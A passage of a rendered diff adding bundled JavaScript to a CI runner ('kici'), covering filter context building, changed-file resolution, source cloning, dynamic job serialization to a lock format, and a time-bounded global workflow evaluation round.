* the absolute paths differ, and those are never compared.
|
|
1096
|
+
*/
|
|
1097
|
+
function buildRoundRepos(dispatch, config, workflowDir, sourceDir) {
|
|
1098
|
+
return {
|
|
1099
|
+
workflowRepo: {
|
|
1100
|
+
identifier: config.workflowRepoIdentifier ?? repoIdentifierFromUrl(config.workflowRepoUrl),
|
|
1101
|
+
path: workflowDir,
|
|
1102
|
+
ref: config.workflowRef,
|
|
1103
|
+
sha: config.workflowSha
|
|
1104
|
+
},
|
|
1105
|
+
sourceRepo: {
|
|
1106
|
+
identifier: repoIdentifierFromUrl(dispatch.repoUrl),
|
|
1107
|
+
path: sourceDir,
|
|
1108
|
+
ref: dispatch.ref,
|
|
1109
|
+
sha: dispatch.sha
|
|
1110
|
+
}
|
|
1111
|
+
};
|
|
1112
|
+
}
|
|
1113
|
+
/**
|
|
1114
|
+
* Resolve the changed-files list a `filter` reads — for a global eval round and
|
|
1115
|
+
* for a filter-bearing init job alike.
|
|
1116
|
+
*
|
|
1117
|
+
* Ground truth is the agent's own source clone; an already-`fetched` list from
|
|
1118
|
+
* the orchestrator is a free fast-path. A diff-less event (schedule / tag /
|
|
1119
|
+
* manual) resolves to `unavailable`, which makes `ctx.changedFiles` throw
|
|
1120
|
+
* rather than read as an empty diff — a `filter` returning false produces no
|
|
1121
|
+
* run at all, so a silently-empty diff would suppress the workflow with no
|
|
1122
|
+
* artifact anywhere to inspect.
|
|
1123
|
+
*/
|
|
1124
|
+
async function resolveEvalChangedFiles(dispatch, event, sourceDir) {
|
|
1125
|
+
const ev = event;
|
|
1126
|
+
if (ev.changedFilesStatus === "fetched") return {
|
|
1127
|
+
files: ev.changedFiles ?? [],
|
|
1128
|
+
status: "fetched"
|
|
1129
|
+
};
|
|
1130
|
+
return computeChangedFiles(sourceDir, event, dispatch.sourceAuth ?? dispatch.workflowAuth ?? (dispatch.token ? {
|
|
1131
|
+
kind: "basic",
|
|
1132
|
+
user: "x-access-token",
|
|
1133
|
+
secret: dispatch.token
|
|
1134
|
+
} : void 0));
|
|
1135
|
+
}
|
|
1136
|
+
/**
|
|
1137
|
+
* Directory an init job clones the source repo into when the workflow declares a
|
|
1138
|
+
* `filter` and the job restored `.kici/` from the cached tarball instead of
|
|
1139
|
+
* cloning. Named with the `__kici` prefix so it cannot collide with a repo path.
|
|
1140
|
+
*/
|
|
1141
|
+
const FILTER_SOURCE_DIRNAME = "__kici_filter_source__";
|
|
1142
|
+
/**
|
|
1143
|
+
* Materialize the source tree a non-global workflow's `filter` reads through
|
|
1144
|
+
* `ctx.sourceRepo.path`.
|
|
1145
|
+
*
|
|
1146
|
+
* An init or dynamic-eval job normally restores only `.kici/` from the cached
|
|
1147
|
+
* source tarball — enough to import the workflow module, but a directory with no
|
|
1148
|
+
* repo in it. A filter that reads a file or shells out against that path would
|
|
1149
|
+
* get a confidently wrong answer, and `changedFiles` could not be computed at
|
|
1150
|
+
* all, so a filter-bearing job clones the source repo into a sibling directory.
|
|
1151
|
+
*
|
|
1152
|
+
* When no tarball was attached the job already cloned the whole repo into
|
|
1153
|
+
* `workDir`, and that clone is reused rather than duplicated — including the
|
|
1154
|
+
* local working-tree case, where there is no repo url and `workDir` IS the tree.
|
|
1155
|
+
*
|
|
1156
|
+
* A tarball with no repo url is the one combination that cannot be honoured:
|
|
1157
|
+
* `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
|
|
1158
|
+
* would hand the filter a directory in which every path test answers "absent" —
|
|
1159
|
+
* the exact silent lie this function exists to prevent — so it throws instead.
|
|
1160
|
+
*/
|
|
1161
|
+
async function ensureFilterSourceDir(dispatch, workDir) {
|
|
1162
|
+
if (!dispatch.sourceTarUrl) return workDir;
|
|
1163
|
+
if (!dispatch.repoUrl) throw new Error("Workflow declares a filter, but this job restored its source from the cache with no repo url to clone from — the filter would see an empty tree. Re-run with a source repository configured, or remove the filter.");
|
|
1164
|
+
const sourceDir = join(workDir, FILTER_SOURCE_DIRNAME);
|
|
1165
|
+
const sourceAuth = dispatch.sourceAuth;
|
|
1166
|
+
await gitClone({
|
|
1167
|
+
repoUrl: dispatch.repoUrl,
|
|
1168
|
+
ref: dispatch.ref,
|
|
1169
|
+
sha: dispatch.sha,
|
|
1170
|
+
workDir: sourceDir,
|
|
1171
|
+
gitAuth: sourceAuth,
|
|
1172
|
+
token: sourceAuth ? void 0 : dispatch.token
|
|
1173
|
+
});
|
|
1174
|
+
return sourceDir;
|
|
1175
|
+
}
|
|
1176
|
+
/**
|
|
1177
|
+
* Build the context a non-global workflow's `filter` is evaluated against.
|
|
1178
|
+
*
|
|
1179
|
+
* `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
|
|
1180
|
+
* means — so both carry the same identifier, path, ref, and sha. The zx shell is
|
|
1181
|
+
* rooted at the source tree and streams into the evaluating step's log, matching
|
|
1182
|
+
* what the global eval round hands its own filters.
|
|
1183
|
+
*
|
|
1184
|
+
* They are two distinct objects all the same. Being the same repo is a fact
|
|
1185
|
+
* about their VALUES, not a licence to hand the author one object under two
|
|
1186
|
+
* names: a filter that mutated `ctx.sourceRepo` would silently see
|
|
1187
|
+
* `ctx.workflowRepo` change with it, which happens on no other path.
|
|
1188
|
+
*/
|
|
1189
|
+
async function buildInitFilterInput(dispatch, event, workDir, emit) {
|
|
1190
|
+
const sourceDir = await ensureFilterSourceDir(dispatch, workDir);
|
|
1191
|
+
const diff = await resolveEvalChangedFiles(dispatch, event, sourceDir);
|
|
1192
|
+
const repo = {
|
|
1193
|
+
identifier: repoIdentifierFromUrl(dispatch.repoUrl),
|
|
1194
|
+
path: sourceDir,
|
|
1195
|
+
ref: dispatch.ref,
|
|
1196
|
+
sha: dispatch.sha
|
|
1197
|
+
};
|
|
1198
|
+
return {
|
|
1199
|
+
sourceRepo: repo,
|
|
1200
|
+
workflowRepo: { ...repo },
|
|
1201
|
+
changedFiles: diff.files,
|
|
1202
|
+
changedFilesStatus: diff.status,
|
|
1203
|
+
env: process.env,
|
|
1204
|
+
$: await buildEvalShell(sourceDir, emit)
|
|
1205
|
+
};
|
|
1206
|
+
}
|
|
1207
|
+
/**
|
|
1208
|
+
* Build the per-invocation zx `$` a global eval round hands to filters and
|
|
1209
|
+
* generators, so a `await $\`…\`` inside one is visible in the eval step's log.
|
|
1210
|
+
*
|
|
1211
|
+
* **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
|
|
1212
|
+
* snapshot taken when the shell is built, which is before the round applies the
|
|
1213
|
+
* seven `KICI_*` keys — so a filter that shells out (`$\`printenv
|
|
1214
|
+
* KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
|
|
1215
|
+
* here while the sandbox re-evaluation's ambient `$` resolves `process.env`
|
|
1216
|
+
* after `setupGlobalWorkflowEnv` has run and does see them. That is the same
|
|
1217
|
+
* two-worlds determinism failure the cwd choice below exists to prevent, one
|
|
1218
|
+
* layer down. Passing the live reference reproduces the ambient `$`'s own
|
|
1219
|
+
* behaviour, which is what the sandbox uses.
|
|
1220
|
+
*
|
|
1221
|
+
* `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
|
|
1222
|
+
* decrypted secret never leaks into the log.
|
|
1223
|
+
*
|
|
1224
|
+
* `emit` is a callback rather than the `LogStreamer` itself so the caller can
|
|
1225
|
+
* route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
|
|
1226
|
+
* flag and `addLine` buffers unconditionally, so a subprocess line arriving
|
|
1227
|
+
* after the step was reported would otherwise emit a `log.chunk` for a terminal
|
|
1228
|
+
* step. That is the likeliest path for it — an orphaned candidate is usually
|
|
1229
|
+
* orphaned *because* it is waiting on a subprocess.
|
|
1230
|
+
*/
|
|
1231
|
+
async function buildEvalShell(cwd, emit) {
|
|
1232
|
+
const { $: zx$ } = await import("zx");
|
|
1233
|
+
return zx$({
|
|
1234
|
+
cwd,
|
|
1235
|
+
env: process.env,
|
|
1236
|
+
verbose: true,
|
|
1237
|
+
quiet: false,
|
|
1238
|
+
log: makeStreamingZxLog(emit)
|
|
1239
|
+
});
|
|
1240
|
+
}
|
|
1241
|
+
/**
|
|
1242
|
+
* Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
|
|
1243
|
+
* snapshot. Returns undefined for an event-only generator (no snapshot).
|
|
1244
|
+
*/
|
|
1245
|
+
function buildEvalNeedsContext(config) {
|
|
1246
|
+
if (!config.resultAware || !config.upstreamSnapshot) return void 0;
|
|
1247
|
+
return buildNeedsContext(config.upstreamSnapshot, config.declaredNeeds ?? []);
|
|
1248
|
+
}
|
|
1249
|
+
//#endregion
|
|
1250
|
+
//#region src/execution/dynamic-job-serializer.ts
|
|
1251
|
+
/**
|
|
1252
|
+
* Thrown when resolving a job's dynamic matrix fails (the matrix function threw
|
|
1253
|
+
* or timed out, or returned an unsupported value). Lets the agent attribute the
|
|
1254
|
+
* failure to the matrix_expansion init-failure category instead of the generic
|
|
1255
|
+
* dynamic_eval bucket.
|
|
1256
|
+
*/
|
|
1257
|
+
var MatrixExpansionError = class MatrixExpansionError extends Error {
|
|
1258
|
+
jobName;
|
|
1259
|
+
name = "MatrixExpansionError";
|
|
1260
|
+
constructor(jobName, message) {
|
|
1261
|
+
super(message);
|
|
1262
|
+
this.jobName = jobName;
|
|
1263
|
+
Object.setPrototypeOf(this, MatrixExpansionError.prototype);
|
|
1264
|
+
}
|
|
1265
|
+
};
|
|
1266
|
+
/** Default per-call timeout for evaluating dynamic env/matrix functions on generated jobs. */
|
|
1267
|
+
const DYNAMIC_FIELD_TIMEOUT_MS = 6e4;
|
|
1268
|
+
/**
|
|
1269
|
+
* Convert an array of SDK Job objects into LockJob format for the orchestrator.
|
|
1270
|
+
*
|
|
1271
|
+
* @param jobs - Jobs returned by a DynamicJobFn
|
|
1272
|
+
* @param ctx - Eval-time context used to resolve dynamic fields on generated jobs
|
|
1273
|
+
* @param seenNames - Optional accumulator of job names already emitted earlier
|
|
1274
|
+
* in the same eval round; when supplied, a name already present throws and
|
|
1275
|
+
* every generated name is added so later generators in the round see it
|
|
1276
|
+
* @returns Serialized LockJob array ready for orchestrator dispatch
|
|
1277
|
+
* @throws Error if validation fails (duplicates, limit exceeded) or if a user-supplied
|
|
1278
|
+
* dynamic function throws / times out / returns an unsupported value
|
|
1279
|
+
*/
|
|
1280
|
+
async function serializeJobsToLock(jobs, ctx, staticNames, allowedGroups, seenNames) {
|
|
1281
|
+
if (jobs.length > 100) throw new Error(`DynamicJobFn generated ${jobs.length} jobs, exceeding the limit of 100`);
|
|
1282
|
+
const generatedNames = /* @__PURE__ */ new Set();
|
|
1283
|
+
const roundNames = seenNames ?? /* @__PURE__ */ new Set();
|
|
1284
|
+
for (const job of jobs) {
|
|
1285
|
+
if (roundNames.has(job.name)) throw new Error(`Duplicate job name '${job.name}' in dynamic job output`);
|
|
1286
|
+
generatedNames.add(job.name);
|
|
1287
|
+
roundNames.add(job.name);
|
|
1288
|
+
}
|
|
1289
|
+
const result = [];
|
|
1290
|
+
for (const job of jobs) result.push(await serializeJob(job, generatedNames, ctx, staticNames ?? /* @__PURE__ */ new Set(), allowedGroups ?? /* @__PURE__ */ new Set()));
|
|
1291
|
+
return result;
|
|
1292
|
+
}
|
|
1293
|
+
async function serializeJob(job, generatedNames, ctx, staticNames, allowedGroups) {
|
|
1294
|
+
const { include: runsOn, exclude: excludeLabels } = job.invoke && job.runsOn === void 0 ? {
|
|
1295
|
+
include: [],
|
|
1296
|
+
exclude: []
|
|
1297
|
+
} : normalizeRunsOnToMatchers(job.runsOn, `generated job '${job.name}' runsOn`);
|
|
1298
|
+
const envRefs = job.contexts ?? (job.context !== void 0 ? [job.context] : void 0);
|
|
1299
|
+
let resolvedContexts;
|
|
1300
|
+
if (envRefs !== void 0 && envRefs.length > 0) {
|
|
1301
|
+
const resolved = [];
|
|
1302
|
+
for (const ref of envRefs) if (typeof ref === "function") {
|
|
1303
|
+
const value = await withTimeout(() => ref(ctx.event), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic environment for generated job '${job.name}'`);
|
|
1304
|
+
if (value !== void 0 && value !== null) resolved.push({
|
|
1305
|
+
value,
|
|
1306
|
+
dynamic: false
|
|
1307
|
+
});
|
|
1308
|
+
} else if (typeof ref === "string") resolved.push({
|
|
1309
|
+
value: ref,
|
|
1310
|
+
dynamic: false
|
|
1311
|
+
});
|
|
1312
|
+
if (resolved.length > 0) resolvedContexts = resolved;
|
|
1313
|
+
}
|
|
1314
|
+
let resolvedEnv;
|
|
1315
|
+
if (typeof job.env === "function") {
|
|
1316
|
+
const value = await withTimeout(() => job.env(ctx.event), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic env for generated job '${job.name}'`);
|
|
1317
|
+
if (value !== void 0 && value !== null) resolvedEnv = value;
|
|
1318
|
+
} else if (job.env && typeof job.env === "object") resolvedEnv = job.env;
|
|
1319
|
+
let resolvedConcurrencyGroup;
|
|
1320
|
+
if (typeof job.concurrencyGroup === "function") {
|
|
1321
|
+
const value = await withTimeout(() => job.concurrencyGroup(ctx.event), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic concurrencyGroup for generated job '${job.name}'`);
|
|
1322
|
+
if (value !== void 0 && value !== null) resolvedConcurrencyGroup = value;
|
|
1323
|
+
} else if (typeof job.concurrencyGroup === "string") resolvedConcurrencyGroup = job.concurrencyGroup;
|
|
1324
|
+
const resolvedMatrix = job.matrix ? await serializeMatrix(job.matrix, job.name, runsOn, ctx) : void 0;
|
|
1325
|
+
const resolvedNeeds = resolveNeeds(job.needs, generatedNames, staticNames, allowedGroups);
|
|
1326
|
+
const dependsOnGroups = resolvedNeeds.filter((n) => typeof n === "object" && "group" in n).map((n) => n.group);
|
|
1327
|
+
return {
|
|
1328
|
+
_type: "static",
|
|
1329
|
+
name: job.name,
|
|
1330
|
+
...job.invoke && runsOn.length === 0 ? {} : { runsOn },
|
|
1331
|
+
...excludeLabels.length > 0 ? { excludeLabels } : {},
|
|
1332
|
+
needs: resolvedNeeds,
|
|
1333
|
+
...dependsOnGroups.length > 0 ? { dependsOnGroups } : {},
|
|
1334
|
+
steps: serializeSteps(job.steps),
|
|
1335
|
+
...resolvedMatrix ? { matrix: resolvedMatrix } : {},
|
|
1336
|
+
...job.include ? { include: job.include } : {},
|
|
1337
|
+
...job.exclude ? { exclude: job.exclude } : {},
|
|
1338
|
+
...job.description ? { description: job.description } : {},
|
|
1339
|
+
...resolvedContexts !== void 0 ? { contexts: resolvedContexts } : {},
|
|
1340
|
+
...resolvedEnv !== void 0 ? { env: resolvedEnv } : {},
|
|
1341
|
+
...resolvedConcurrencyGroup !== void 0 ? { concurrencyGroup: resolvedConcurrencyGroup } : {},
|
|
1342
|
+
...job.invoke ? { invoke: {
|
|
1343
|
+
event: job.invoke.event,
|
|
1344
|
+
scope: job.invoke.scope,
|
|
1345
|
+
...job.invoke.payload !== void 0 ? { payload: job.invoke.payload } : {},
|
|
1346
|
+
...job.invoke.optional === true ? { optional: true } : {}
|
|
1347
|
+
} } : {}
|
|
1348
|
+
};
|
|
1349
|
+
}
|
|
1350
|
+
/**
|
|
1351
|
+
* Resolve needs references. Jobs can reference other jobs by name (string),
|
|
1352
|
+
* Job object reference, DynamicGroupRef, or NeedsEntry/NeedsGroupEntry objects.
|
|
1353
|
+
* Validates against generatedNames union staticNames union allowedGroups.
|
|
1354
|
+
*
|
|
1355
|
+
* Returns the lock file representation: strings for concrete refs,
|
|
1356
|
+
* NeedsEntry for { name, when }, NeedsGroupEntry for group refs (each `when`
|
|
1357
|
+
* normalized to a runOn status-set).
|
|
1358
|
+
*/
|
|
1359
|
+
function resolveNeeds(needs, generatedNames, staticNames, allowedGroups) {
|
|
1360
|
+
if (!needs || needs.length === 0) return [];
|
|
1361
|
+
const allNames = /* @__PURE__ */ new Set([...generatedNames, ...staticNames]);
|
|
1362
|
+
return needs.map((dep) => {
|
|
1363
|
+
if (typeof dep === "string") {
|
|
1364
|
+
if (!allNames.has(dep)) throw new Error(`Job dependency '${dep}' not found in workflow jobs (checked: ${generatedNames.size} generated, ${staticNames.size} static)`);
|
|
1365
|
+
return dep;
|
|
1366
|
+
}
|
|
1367
|
+
if (isDynamicGroupRef(dep)) {
|
|
1368
|
+
const groupRef = dep;
|
|
1369
|
+
if (!allowedGroups.has(groupRef.group)) throw new Error(`Dynamic group '${groupRef.group}' not found in workflow (available groups: ${[...allowedGroups].join(", ") || "none"})`);
|
|
1370
|
+
return {
|
|
1371
|
+
group: groupRef.group,
|
|
1372
|
+
runOn: resolveWhenToRunOn(groupRef.when)
|
|
1373
|
+
};
|
|
1374
|
+
}
|
|
1375
|
+
if (typeof dep === "object" && dep !== null && "group" in dep) {
|
|
1376
|
+
const groupDep = dep;
|
|
1377
|
+
if (!allowedGroups.has(groupDep.group)) throw new Error(`Dynamic group '${groupDep.group}' not found in workflow (available groups: ${[...allowedGroups].join(", ") || "none"})`);
|
|
1378
|
+
return {
|
|
1379
|
+
group: groupDep.group,
|
|
1380
|
+
runOn: resolveWhenToRunOn(groupDep.when)
|
|
1381
|
+
};
|
|
1382
|
+
}
|
|
1383
|
+
if (typeof dep === "object" && dep !== null && "name" in dep && !("steps" in dep)) {
|
|
1384
|
+
const namedDep = dep;
|
|
1385
|
+
if (!allNames.has(namedDep.name)) throw new Error(`Job dependency '${namedDep.name}' not found in workflow jobs (checked: ${generatedNames.size} generated, ${staticNames.size} static)`);
|
|
1386
|
+
return {
|
|
1387
|
+
name: namedDep.name,
|
|
1388
|
+
runOn: resolveWhenToRunOn(namedDep.when)
|
|
1389
|
+
};
|
|
1390
|
+
}
|
|
1391
|
+
if (isDynamicJobFn(dep)) throw new Error("Job dependency cannot be a DynamicJobFn");
|
|
1392
|
+
const name = dep.name;
|
|
1393
|
+
if (!allNames.has(name)) throw new Error(`Job dependency '${name}' not found in workflow jobs (checked: ${generatedNames.size} generated, ${staticNames.size} static)`);
|
|
1394
|
+
return name;
|
|
1395
|
+
});
|
|
1396
|
+
}
|
|
1397
|
+
/**
|
|
1398
|
+
* Serialize step definitions to lock file format.
|
|
1399
|
+
* Steps are minimal in the lock file — just metadata. The actual run functions
|
|
1400
|
+
* are loaded from the workflow bundle at execution time.
|
|
1401
|
+
*/
|
|
1402
|
+
function serializeSteps(steps) {
|
|
1403
|
+
let flatIndex = 0;
|
|
1404
|
+
return steps.map((entry) => {
|
|
1405
|
+
if (isParallelGroup(entry)) {
|
|
1406
|
+
const children = entry.steps.map((child) => serializeSequentialStep(child, flatIndex++));
|
|
1407
|
+
return {
|
|
1408
|
+
kind: "parallel",
|
|
1409
|
+
name: entry.name ?? `parallel-${children[0]?.name ?? "group"}`,
|
|
1410
|
+
failFast: entry.failFast,
|
|
1411
|
+
...entry.maxParallel !== void 0 ? { maxParallel: entry.maxParallel } : {},
|
|
1412
|
+
children
|
|
1413
|
+
};
|
|
1414
|
+
}
|
|
1415
|
+
return serializeSequentialStep(entry, flatIndex++);
|
|
1416
|
+
});
|
|
1417
|
+
}
|
|
1418
|
+
/** Serialize one sequential step (or bare function) to a flat `LockStep`. */
|
|
1419
|
+
function serializeSequentialStep(stepOrFn, index) {
|
|
1420
|
+
if (typeof stepOrFn === "function") return {
|
|
1421
|
+
name: `step-${index}`,
|
|
1422
|
+
hasOutputs: false
|
|
1423
|
+
};
|
|
1424
|
+
const step = stepOrFn;
|
|
1425
|
+
return {
|
|
1426
|
+
name: step.name || `step-${index}`,
|
|
1427
|
+
hasOutputs: !!step.outputs,
|
|
1428
|
+
...step.continueOnError ? { continueOnError: true } : {},
|
|
1429
|
+
...step.timeout ? { timeout: step.timeout } : {},
|
|
1430
|
+
...step.retry ? { retry: {
|
|
1431
|
+
maxAttempts: step.retry.maxAttempts,
|
|
1432
|
+
delayMs: step.retry.delayMs,
|
|
1433
|
+
backoff: step.retry.backoff,
|
|
1434
|
+
maxDelayMs: step.retry.maxDelayMs
|
|
1435
|
+
} } : {}
|
|
1436
|
+
};
|
|
1437
|
+
}
|
|
1438
|
+
/**
|
|
1439
|
+
* Serialize matrix configuration. Static array/object matrices are embedded as-is;
|
|
1440
|
+
* dynamic matrix functions are invoked against the eval context (mirroring the
|
|
1441
|
+
* DynamicMatrixContext signature) and the resulting array/object is embedded.
|
|
1442
|
+
*/
|
|
1443
|
+
async function serializeMatrix(matrix, jobName, runsOn, ctx) {
|
|
1444
|
+
if (isStaticArray(matrix)) return {
|
|
1445
|
+
_type: "static",
|
|
1446
|
+
values: matrix
|
|
1447
|
+
};
|
|
1448
|
+
if (isStaticObject(matrix)) return {
|
|
1449
|
+
_type: "static",
|
|
1450
|
+
values: matrix
|
|
1451
|
+
};
|
|
1452
|
+
const matrixCtx = {
|
|
1453
|
+
$: ctx.$,
|
|
1454
|
+
ctx: {
|
|
1455
|
+
workflow: { name: ctx.workflowName },
|
|
1456
|
+
job: {
|
|
1457
|
+
name: jobName,
|
|
1458
|
+
runsOn: runsOn.map((m) => m.kind === "exact" ? m.value : `/${m.source}/${m.flags}`)
|
|
1459
|
+
}
|
|
1460
|
+
},
|
|
1461
|
+
log: ctx.log,
|
|
1462
|
+
env: ctx.env
|
|
1463
|
+
};
|
|
1464
|
+
let values;
|
|
1465
|
+
try {
|
|
1466
|
+
values = await withTimeout(() => matrix(matrixCtx), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic matrix for generated job '${jobName}'`);
|
|
1467
|
+
} catch (err) {
|
|
1468
|
+
throw new MatrixExpansionError(jobName, `Matrix expansion failed for job '${jobName}': ${err.message}`);
|
|
1469
|
+
}
|
|
1470
|
+
if (Array.isArray(values)) return {
|
|
1471
|
+
_type: "static",
|
|
1472
|
+
values
|
|
1473
|
+
};
|
|
1474
|
+
if (values && typeof values === "object") return {
|
|
1475
|
+
_type: "static",
|
|
1476
|
+
values
|
|
1477
|
+
};
|
|
1478
|
+
throw new MatrixExpansionError(jobName, `Job '${jobName}': dynamic matrix function returned an unsupported value (expected array or object, got ${typeof values})`);
|
|
1479
|
+
}
|
|
1480
|
+
//#endregion
|
|
1481
|
+
//#region src/execution/global-eval-runner.ts
|
|
1482
|
+
init_generator_context();
|
|
1483
|
+
const NOOP_LOG = {
|
|
1484
|
+
info: () => {},
|
|
1485
|
+
warn: () => {},
|
|
1486
|
+
error: () => {},
|
|
1487
|
+
debug: () => {}
|
|
1488
|
+
};
|
|
1489
|
+
function buildRoundState(args) {
|
|
1490
|
+
const loadModule = args.loadModule ?? (async (sourceFile) => (await loadWorkflowSource(args.workflowDir, sourceFile)).module);
|
|
1491
|
+
return {
|
|
1492
|
+
args,
|
|
1493
|
+
$: args.$ ?? $,
|
|
1494
|
+
log: args.log ?? NOOP_LOG,
|
|
1495
|
+
kici: args.kici ?? buildKiciApi(() => Promise.reject(/* @__PURE__ */ new Error("Agent API not available"))),
|
|
1496
|
+
loadModule,
|
|
1497
|
+
moduleCache: /* @__PURE__ */ new Map()
|
|
1498
|
+
};
|
|
1499
|
+
}
|
|
1500
|
+
/** Load a workflow, caching per source file so a shared module is imported once. */
|
|
1501
|
+
async function loadWorkflowCached(shared, sourceFile, workflowName) {
|
|
1502
|
+
let pending = shared.moduleCache.get(sourceFile);
|
|
1503
|
+
if (!pending) {
|
|
1504
|
+
pending = shared.loadModule(sourceFile);
|
|
1505
|
+
shared.moduleCache.set(sourceFile, pending);
|
|
1506
|
+
}
|
|
1507
|
+
return extractWorkflow(await pending, workflowName);
|
|
1508
|
+
}
|
|
1509
|
+
/**
|
|
1510
|
+
* Run every `DynamicJobFn` the workflow declares and serialize the result.
|
|
1511
|
+
*
|
|
1512
|
+
* The generator context is built through `buildGeneratorContext` with the same
|
|
1513
|
+
* repo pair the sandbox re-evaluation gets, so the two calls a generator
|
|
1514
|
+
* receives cannot drift apart. Returns `undefined` when the workflow declares
|
|
1515
|
+
* no generators, which keeps the `jobs` key off the wire entirely.
|
|
1516
|
+
*/
|
|
1517
|
+
async function generateDynamicJobs(workflow, shared) {
|
|
1518
|
+
const { args } = shared;
|
|
1519
|
+
const generators = workflow.jobs.filter(isDynamicJobFn);
|
|
1520
|
+
if (generators.length === 0) return void 0;
|
|
1521
|
+
const serializerCtx = {
|
|
1522
|
+
event: args.event,
|
|
1523
|
+
$: shared.$,
|
|
1524
|
+
log: shared.log,
|
|
1525
|
+
env: process.env,
|
|
1526
|
+
workflowName: workflow.name
|
|
1527
|
+
};
|
|
1528
|
+
const jobs = [];
|
|
1529
|
+
const seenNames = /* @__PURE__ */ new Set();
|
|
1530
|
+
for (const generator of generators) {
|
|
1531
|
+
const generated = await generator(buildGeneratorContext({
|
|
1532
|
+
workflowName: workflow.name,
|
|
1533
|
+
event: args.event,
|
|
1534
|
+
env: process.env,
|
|
1535
|
+
repos: args.repos,
|
|
1536
|
+
$: shared.$,
|
|
1537
|
+
log: shared.log,
|
|
1538
|
+
kici: shared.kici
|
|
1539
|
+
}));
|
|
1540
|
+
jobs.push(...await serializeJobsToLock(generated, serializerCtx, void 0, void 0, seenNames));
|
|
1541
|
+
}
|
|
1542
|
+
return jobs;
|
|
1543
|
+
}
|
|
1544
|
+
/**
|
|
1545
|
+
* Evaluate one candidate to a verdict: run its `filter` if it declares one,
|
|
1546
|
+
* then its generators if it survives.
|
|
1547
|
+
*/
|
|
1548
|
+
async function evaluateCandidateInner(candidate, shared) {
|
|
1549
|
+
const { args } = shared;
|
|
1550
|
+
const workflow = await loadWorkflowCached(shared, candidate.sourceFile, candidate.workflowName);
|
|
1551
|
+
if (candidate.hasFilter) {
|
|
1552
|
+
if (typeof workflow.filter !== "function") throw new Error(`Workflow '${candidate.workflowName}' is recorded as declaring a filter, but its module exports none — the lock file is out of date. Run 'kici compile' and commit the result.`);
|
|
1553
|
+
const filterCtx = createFilterContext({
|
|
1554
|
+
sourceRepo: args.repos.sourceRepo,
|
|
1555
|
+
workflowRepo: args.repos.workflowRepo,
|
|
1556
|
+
event: args.event,
|
|
1557
|
+
changedFiles: args.changedFiles,
|
|
1558
|
+
changedFilesStatus: args.changedFilesStatus,
|
|
1559
|
+
env: process.env,
|
|
1560
|
+
$: shared.$
|
|
1561
|
+
});
|
|
1562
|
+
if (!await workflow.filter(filterCtx)) return {
|
|
1563
|
+
workflowName: candidate.workflowName,
|
|
1564
|
+
run: false
|
|
1565
|
+
};
|
|
1566
|
+
}
|
|
1567
|
+
const jobs = await generateDynamicJobs(workflow, shared);
|
|
1568
|
+
return {
|
|
1569
|
+
workflowName: candidate.workflowName,
|
|
1570
|
+
run: true,
|
|
1571
|
+
...jobs && { jobs }
|
|
1572
|
+
};
|
|
1573
|
+
}
|
|
1574
|
+
/**
|
|
1575
|
+
* Evaluate one candidate, never throwing. A failure — a throwing filter, a
|
|
1576
|
+
* broken generator, a blown per-candidate budget — becomes an indeterminate
|
|
1577
|
+
* verdict so the round's other candidates still get real answers.
|
|
1578
|
+
*/
|
|
1579
|
+
async function evaluateCandidate(candidate, shared) {
|
|
1580
|
+
try {
|
|
1581
|
+
return await withTimeout(() => evaluateCandidateInner(candidate, shared), shared.args.candidateTimeoutMs, `global workflow '${candidate.workflowName}'`);
|
|
1582
|
+
} catch (error) {
|
|
1583
|
+
return {
|
|
1584
|
+
workflowName: candidate.workflowName,
|
|
1585
|
+
run: false,
|
|
1586
|
+
indeterminate: true,
|
|
1587
|
+
reason: error instanceof Error ? error.message : String(error)
|
|
1588
|
+
};
|
|
1589
|
+
}
|
|
1590
|
+
}
|
|
1591
|
+
/**
|
|
1592
|
+
* Evaluate candidates one at a time — they share one checkout and one working
|
|
1593
|
+
* directory, so a parallel `$` would race on cwd.
|
|
1594
|
+
*
|
|
1595
|
+
* Stops before starting a candidate once the round deadline has passed or the
|
|
1596
|
+
* caller aborted. That check is what keeps the sequential guarantee meaningful
|
|
1597
|
+
* past a timeout: `withTimeout` races rather than cancels, so without it the
|
|
1598
|
+
* loop would keep launching every remaining candidate — each up to
|
|
1599
|
+
* `candidateTimeoutMs` — into a work directory the job has already reported on
|
|
1600
|
+
* and whose cleanup has already deleted. With it, at most one candidate is ever
|
|
1601
|
+
* in flight past the deadline.
|
|
1602
|
+
*
|
|
1603
|
+
* Results are appended to the caller's array as they land, so a round that
|
|
1604
|
+
* blows its own budget can still report the verdicts it did establish rather
|
|
1605
|
+
* than discarding the work.
|
|
1606
|
+
*/
|
|
1607
|
+
async function evaluateAllCandidates(shared, into, deadline) {
|
|
1608
|
+
for (const candidate of shared.args.candidates) {
|
|
1609
|
+
if (shared.args.signal?.aborted || Date.now() >= deadline) return;
|
|
1610
|
+
into.push(await evaluateCandidate(candidate, shared));
|
|
1611
|
+
}
|
|
1612
|
+
}
|
|
1613
|
+
/**
|
|
1614
|
+
* Run one global eval round and return every candidate's verdict, in candidate
|
|
1615
|
+
* order. Never throws: a round that exceeds `roundTimeoutMs` reports whatever
|
|
1616
|
+
* it established and marks the rest indeterminate.
|
|
1617
|
+
*/
|
|
1618
|
+
async function runGlobalEvalRound(args) {
|
|
1619
|
+
const restoreEnv = applyGlobalWorkflowEnv(args.repos);
|
|
1620
|
+
const settled = [];
|
|
1621
|
+
let stopReason;
|
|
1622
|
+
try {
|
|
1623
|
+
const shared = buildRoundState(args);
|
|
1624
|
+
await withTimeout(() => evaluateAllCandidates(shared, settled, Date.now() + args.roundTimeoutMs), args.roundTimeoutMs, `global eval round (${args.candidates.length} candidate(s))`);
|
|
1625
|
+
} catch (error) {
|
|
1626
|
+
stopReason = error instanceof Error ? error.message : String(error);
|
|
1627
|
+
} finally {
|
|
1628
|
+
restoreEnv();
|
|
1629
|
+
}
|
|
1630
|
+
const candidates = [...settled];
|
|
1631
|
+
